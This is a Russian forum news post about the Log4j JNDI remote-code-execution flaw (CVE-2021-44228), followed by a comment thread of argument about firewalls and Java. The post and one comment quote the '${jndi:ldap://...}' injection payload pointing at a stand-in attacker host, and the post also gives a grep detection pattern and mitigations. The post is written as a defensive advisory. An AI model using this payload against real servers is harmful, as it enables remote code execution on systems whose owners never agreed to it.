LINUX.ORG.RU

Критическая уязвимость в Log4j позволяет выполнять произвольный код на сервере

 , ,


0

2

Опубликована критическая уязвимость CVE-2021-44228 в библиотеке Log4j языка Java. Библиотека разрабатывается с 2001 года в Арасhe Software Foundation и представляет собой фреймворк ведения логов.

Уязвимость является крайне опасной ввиду следующих причин:

  • Чрезвычайно широкое распростронение библиотеки в экосистеме Java
  • Крайне простой эксплойт
  • Возможность выполнения злоумышленником произвольной команды на сервере
  • Возможность написания злоумышленником автоматических сканеров уязвимости в доступных из Интернет сервисах (тактика «spray and pray»)

Уязвимость работает путем передачи для записи в лог строки вида "${jndi:ldap://hackerownserver.com/resource}", при этом злоумышленник держит на hackerownserver.com сервер LDAP, специально настроенный для проведения атак вида «JNDI Injection», например JNDIExploit.

Помимо схемы jndi:ldap: возможно использование jndi:rmi: и jndi:dns:

Как бороться

Уязвимыми следует считать Log4j версии 2.x. Версии 1.x уязвимы только при явном использовании JMSAppender.

Проверить журнал приложения на предмет предпринятых атак можно при помощи egrep -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+'

Для устранения уязвимости необходимо как можно скорее обновить Log4j до версии 2.15.0. Кроме того, если обновление невозможно в силу тех или иных причин, то обезопасить приложение можно путем установки системной переменной Java log4j2.formatMsgNoLookups в значение true (для Log4j 2.10+), или путем удаления класса JndiLookup из classpath.

Update Dec 15: Описанные выше меры в ряде случаев не полностью закрывают уязвимость. Рекомендуется обновляться сразу до версии 2.16.0.

>>> Официальная страница Log4j

>>> Log4j RCE Exploitation Detection

>>> JNDIExploit

>>> Как работает JNDI Injection

По отдельным проектам

>>> CVE-2021-44228

anonymous

Проверено: alpha ()
Последнее исправление: alpha (всего исправлений: 4)

Ответ на: комментарий от WatchCat

сначала приплели проект не по делу по глупости, а теперь от безысходности тявкаешь из под воротины хамовато.

abcq ★★
()
Ответ на: комментарий от emorozov

Причем здесь синглтоны и фабрики?

В пых пых коде тупо все в одном файле - HTML, CSS, Javascript и сам пых пых код без функций и локальных переменных.

Как в джава это означает элементарные MVC, классы и так далее. Все это в пыхе есть в мире симфони.

Но любая попытка начать рефакторинг в сторону симфони пресекается на корню с увольнением инициатора. Так как другие члены команды не поймут, что такое MVC, классы, функции и локальные переменные.

Для бывших таксистов это сложно очень.

И это реальный мир пых пыха в 2021м году. В джаве такой хрени никогда не было, нет ине будет.

GP
()
Ответ на: комментарий от anonymous

Нет не угадал. Бывший таксист пытался поддерживать код на пыхе, написанный джавистом. Но не смог. И теперь он работает грузчиком.

А тот джавист работает теперь в джаве на проекте со спринг бут микросервисами, кубернетесом и камундой.

GP
()
Ответ на: комментарий от GP

Блиинннн, как вы узнали, что я теперь грузчиком работаю???

zapruder
()
Ответ на: комментарий от CaveRat

То, что в линуксах фаерволл (который по портам лочит) есть, а брандмауера , который конкретным приложениям доступ в сеть запрещает - нет.

Зачем нужно вообще блочить по портам, когда любой зловред может выбирать порт, по которому стучаться - это отдельная загадка.

В итоге, в данной ситуации, зловред постучится по 80 порту, который всегда открыт, и алё.

next_time ★★★★★
()
Ответ на: комментарий от GP

какой у джавы порог входа

Никакой. Вчерашние студенты аграрного (!) университета устраиваются жаба-погромистами в зелёную организацию.

Это я про себя, если что. И да, я - говнокодер.

anonymous
()
Ответ на: комментарий от next_time

То, что в линуксах фаерволл (который по портам лочит) есть, а брандмауера , который конкретным приложениям доступ в сеть запрещает - нет.

А, так ты просто не знаешь значений слов, которые используешь. Так бы сразу и сказал.

То, что ты хочешь, в линуксах делает apparmor/selinux. И да, это работает только для исходящего трафика.

Зачем нужно вообще блочить по портам, когда любой зловред может выбирать порт, по которому стучаться - это отдельная загадка.

Затем, что там учитывается порт, протокол, адрес источник и направление.

В итоге, в данной ситуации, зловред постучится по 80 порту, который всегда открыт, и алё.

Как зловред, алло? Ты вообще новости читал, как работает уязвимость понял?

CaveRat ★★
()
Ответ на: комментарий от GP

Подгоревший пердак джависта! Я джва года ждал!

anonymous
()
Ответ на: комментарий от GP

А жена кому досталась?

Ушла к юнити-кодеру, рисует эльфиек для донатных помоек

anonymous
()
Ответ на: комментарий от CaveRat

То, что ты хочешь, в линуксах делает apparmor/selinux.

selinux - лишь интерфейс для того, чтобы сделать то, что нужно, а вот прикладных приложений, хоть консольных, хоть гуи, то есть самого брандмауэра, чтобы в пару кликов запретить приложению ходить в сеть, для этого нет

так же и на винде - местный брандмауэр - именно интерфейс, работает он через ядро

ты просто не знаешь

знаю, это у вас и на вики с какого-то хрена фаерволл == брандмауэр, на самом деле у виндового брандмауэра совсем другой функционал

там учитывается адрес источник и направление.

не, не учитываются. обычно порты полностью блочат

как работает уязвимость понял?

ага, ${jndi:ldap://hackerownserver.com/resource} - в эту же строку можно любой номер порта передать

next_time ★★★★★
()
Ответ на: комментарий от next_time

selinux - лишь интерфейс для того, чтобы сделать то, что нужно, а вот прикладных приложений, хоть консольных, хоть гуи, то есть самого брандмауэра, чтобы в пару кликов запретить приложению ходить в сеть, для этого нет

Ты не смог найти гуи для selinux? Ну, печально. Осталось только понять, зачем ему гуй, и как это поможет в решении проблемы с log4j

знаю, это у вас и на вики с какого-то хрена фаерволл == брандмауэр

Брандмауэр и фаерволл - это у всех синонимы, один ты у нас особенный

на самом деле у виндового брандмауэра совсем другой функционал

ms может rdp-клиент назвать ssh-сервером, от этого ничего не поменяется

не, не учитываются. обычно порты полностью блочат

Лол, нет. Смысла полностью закрывать порты на fw нет никакого, проще сервис погасить. Все-равно им никто не сможет воспользоваться

ага, ${jndi:ldap://hackerownserver.com/resource} - в эту же строку можно любой номер порта передать

А, так ты не понял, что после этого уязвимый сервер идет на сервер атакующего, да?

Или у тебя разрешен весь исходящий трафик от серверов в интернеты? Тем более - от лог-сервера

CaveRat ★★
()
Ответ на: комментарий от anonymous

Только айфон, и только последней версии. Всегда.

Какие банально ограниченные анонимусы нынче пошли.

hummer
()
Ответ на: комментарий от CaveRat

Ты не смог найти гуи для selinux? Ну, печально.

Если брандмауер, по-вашей логике, - это гуй к селинкс, то «видеоигра» - это, по-вашей логике, гуй к опенжл.

Брандмауэр и фаерволл - это у всех синонимы

у кого у всех? на винде это не синонимы, на линуксе термин «брандмауер» вообще практически не используется, только «фаерволл»

ms может rdp-клиент назвать ssh-сервером, от этого ничего не поменяется

поменяется терминология

Лол, нет. Смысла полностью закрывать порты на fw нет никакого, проще сервис погасить.

что, «лол нет»? так кругом все делают, это не ко мне вопросы, зачем и почему

так ты не понял, что после этого уязвимый сервер идет на сервер атакующего, да?

понял

разрешен весь исходящий трафик от серверов в интернеты? Тем более - от лог-сервера

«спасибо» REST API - да

Тем более - от лог-сервера

почему обязательно от лог сервера? логи и на клиентской машине могут быть

next_time ★★★★★
()
Ответ на: комментарий от next_time

Если брандмауер, по-вашей логике, - это гуй к селинкс, то «видеоигра» - это, по-вашей логике, гуй к опенжл.

У тебя что, long covid?

у кого у всех? на винде это не синонимы, на линуксе термин «брандмауер» вообще практически не используется, только «фаерволл»

У всех-всех. Всех, кто с этим так или иначе взаимодействует

что, «лол нет»? так кругом все делают, это не ко мне вопросы, зачем и почему

Я не знаю, что за локалхост у тебя кругом, вокруг меня так не делают

«спасибо» REST API - да

Исходящий трафик куда угодно без проверки. ОК. Вопросов больше не имею

почему обязательно от лог сервера? логи и на клиентской машине могут быть

Логи - да. Обработчик, использующий log4j - зачем?

CaveRat ★★
()
Ответ на: комментарий от InterVi

у него какие-то части на java, ставится как зависимость

У LibreOffice нет зависимости от Java — драйвер JDBC для коннекта к какой-то старой СУБД из LibreOffice Base давно уже выкинули.

iZEN ★★★★★
()
Ответ на: комментарий от GP

Я вижу, ты специалист по оставлению после себя.

anonymous
()
Ответ на: комментарий от abcq

То что ты жрёшь говно и так понятно, не надо об этом кричать на всю Ивановскую.

WatchCat ★★★★★
()
Ответ на: комментарий от CaveRat

У тебя что, long covid?

а вы правда не представляете, сколько кода нужно написать, чтобы на селинуксе построить брандмауэр уровня виндового?

У всех-всех. Всех, кто с этим так или иначе взаимодействует

хрен там плавал, все Васяны-эникеи под брандмауэром понимают прежде всего именно виндовый

Я не знаю, что за локалхост у тебя кругом, вокруг меня так не делают

я не знаю, что у вас там за энтерпрайз, во всём малом и среднем бизнесе так и делают, иногда и в крупном

Обработчик, использующий log4j - зачем?

У log4j есть где-то в описании, что его нельзя использовать на локалхосте? если нет, значит, где-то используют, просто потому что

next_time ★★★★★
()
Ответ на: комментарий от foror

Твои динамические ЯП давно уже осознали свою ущербность и пытаются переносить хоть какую-то статическую типизацию, чтобы разрабам не было сильно больно.

Как __ЯЗЫК__ может что-то осознать? Свою ущербность осознали только кодереи-свитчеры из жабки и дотнета.

crutch_master ★★★★★
()
Ответ на: комментарий от abcq

которые и вы делаете с завидным постоянством, только в виду того, что у вас нет доступных популярных решений которыми пользуются 10 тысяч людей каждый день вы себе решили позволить называть других людей идиотами публично.

Только из этих 10к людей про то, что лог может там что-то исполнять знают максимум 0.03

crutch_master ★★★★★
()
Ответ на: комментарий от menangen

Я тут слышал, что многие java разрабы в день пишут от силы 10 строчек кода

Врут. 3 строчки в месяц. Если не пишут, а удаляют - платят премию.

crutch_master ★★★★★
()
Ответ на: комментарий от anonymous

И да, я - говнокодер.

Аплодисменты
Собрание анонимных говнокодеров объявляю открытым.
Кто еще хочет высказаться?

crutch_master ★★★★★
()

Опубликована критическая уязвимость CVE-2021-44228 в библиотеке Log4j языка Java.

Но они же тут выпрыгивали из штанов, рассказывая, что это в сишке переполнения буфера везде, а у них всё секурно. По итогу один сделал себе дыру ради не нужного хождения логера по лдапам, другие это говно растащили и размазали ничего не проверяя. Дооо. Ынтерпрайз солющен, юзайте библиотеки, зачем писать велики.

crutch_master ★★★★★
()
Ответ на: комментарий от AlexVR

Не уж-то. С учётом многопоточности, буфферов, локфри алгоритмов, оптимизации системных вызовов

Это всё *точно* нужно или можно без этого обойтись? А может быть вообще логописалка не нужна, как класс, а нужно что-то другое?

crutch_master ★★★★★
()
Ответ на: комментарий от next_time

а вы правда не представляете, сколько кода нужно написать, чтобы на селинуксе построить брандмауэр уровня виндового?

selinux уже предоставляет все необходимое. Гуй для настройки не нужен, и даже вреден.

хрен там плавал, все Васяны-эникеи под брандмауэром понимают прежде всего именно виндовый

Могу порекомендовать повышать квалификацию и уходить с уровня васянов-эникеев

я не знаю, что у вас там за энтерпрайз, во всём малом и среднем бизнесе так и делают, иногда и в крупном

См. выше

У log4j есть где-то в описании, что его нельзя использовать на локалхосте? если нет, значит, где-то используют, просто потому что

Если он тебе нужен только для логов локалхоста, то зачем ты его выпускаешь наружу? Если он тебе нужен не только для логов локалхоста, то заведи под это выделенный сервак, а то локалхост может и подавиться

CaveRat ★★
()
Ответ на: комментарий от Harald

так даже после этой новости она безопаснее не становится =)

PlaQ
()
Ответ на: комментарий от crutch_master

Ну как бы документация на эту функциональность имеется, другой вопрос почему по умолчанию лукап и субститушен для жнди был включен у всех, я не верю что разработчики не понимали что это дыра, особенно учитывая вот это «When using LDAP only references to the local host name or ip address are supported along with any hosts or ip addresses listed in the log4j2.allowedLdapHosts property.» то есть они прекрасно понимали что только в случае LDAP есть какая-то защита, хотя бы могли предупреждение большими буквами написать, или отключить вообще по умолчанию данный функционал с дисклеймером.

abcq ★★
()
Ответ на: комментарий от GP

Даешь апгрейд с версии 1.13 до 2.15. На монолите из 100 проектов и 2000 точек использования

То есть «спроектированные серьезными дядьками за серьёзные бабки проекты» оказывается не могут таких банальных вещей как обновления.

Как же так? Таксистов и фотографов не нашлось чтобы указать на этот маленький незаметненький просчёт?

alpha ★★★★★
()
Ответ на: комментарий от alpha

Спроси у разработчиков Log4j почему у них в 2.15 нет поддержки Java 1.6.

А потом мы посмотрим на тебя, как ты будешь апгрейдить монолит с 1.6 до 11 с доведением до прода.

Зы. Уже четыре смуси аутсорс фирмы сдулись. Две с украинцы, две с Белоруссии.

А суровый немецкий софт все еще работает на Java 1.6 и log4j 1.2. И он даже не смотрит на zero day проблемки у хипстеровских Java 8-11 и log4j 2.x.

GP
()
Ответ на: комментарий от GP

Спроси у разработчиков Log4j почему у них в 2.15 нет поддержки Java 1.6.

Почему у них-то? Бабки не они получили.

А потом мы посмотрим на тебя, как ты будешь апгрейдить монолит с 1.6 до 11 с доведением до прода.

Я не буду его апгрейдить, я его выброшу вместе с проектировщиками, у которых слишком много гонору.

alpha ★★★★★
()
Ответ на: комментарий от alpha

Я не буду его апгрейдить, я его выброшу вместе с проектировщиками, у которых слишком много гонору.

Выбросить все, закрыть DAX и SAP, молиться на ноду. Типично для русских хибстеров.

GP
()
Ответ на: комментарий от alpha

То есть «спроектированные серьезными дядьками за серьёзные бабки проекты» оказывается не могут таких банальных вещей как обновления.

Нет. Добро пожаловать. Снова.

crutch_master ★★★★★
()
Ответ на: комментарий от GP

Я смотрю у тебя там всё хорошо с проектированием. Ты как-то даже не в курсе что оно не только из выбора языка состоит.

Спроси соседского фотографа пусть он тебе расскажет про Evolution Architecture хотя бы. А то стыдно своих собственных жабоклассиков не знать.

alpha ★★★★★
()
Ответ на: комментарий от alpha

Я не буду его апгрейдить, я его выброшу вместе с проектировщиками, у которых слишком много гонору.

Проектировщики давно умерли, лол. Кого ты собралась выкидывать? Сразу видно человека, который не нюхал ынтерпрайз разработки.

crutch_master ★★★★★
()
Ответ на: комментарий от alpha

Это так типично, использовать баззворды для продажи какой то х..ни.

Еще раз по буквам: Java 6 и log4j 1.x не умеют этой уязвимости.

Зачем там фиксить то, чего нет?

GP
()
Ответ на: комментарий от GP

Это так типично, использовать баззворды для продажи какой то х..ни.

Но вообще смешно конечно.

Ты с одной стороны пришёл в тред рассказывать по крутизну джавовских разработчиков и архитекторов, а с другой решил поругать ими же собственно и придуманные баззворды.

Ты уж разберись за что ты топишь - за «суровый энтерпрайз» или «за кодим на коленке, а слов типа «архитектура» боимся, потому что слишком много абстракций в голову не помещается».

alpha ★★★★★
()
Ответ на: комментарий от CaveRat

Или у тебя разрешен весь исходящий трафик от серверов в интернеты? Тем более - от лог-сервера

Между прочим у большинства немецких банков оказался таки разрешен, причем от их «макросервисов» - сам немножко удивился, когда в пятницу их палочкой потыкал.

Кстати, BSI только в субботу проснулось, и объявило эту дыру оранжевой - после того как их в твиттере обоссали, они переклассифицировали в красный и на сайте старые сообщения подчистили. В Германии такие конторы называют «Saftladen»…

anonymous
()
Ответ на: комментарий от GP
А потом мы посмотрим на тебя, как ты будешь апгрейдить монолит с 1.6 до 11 с доведением до прода.

Зы. Уже четыре смуси аутсорс фирмы сдулись

Без проблем. 30 миллионов евро и все будет сделано. Ну, это входной ценник. Или ты хотел за пару сотен тыщ? Извини, любители легаси должны страдать. И запомни: чем больше ты тянешь, тем дороже будет. Я пока считал по гуманному ценнику в 150/h.

leave ★★★★★
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.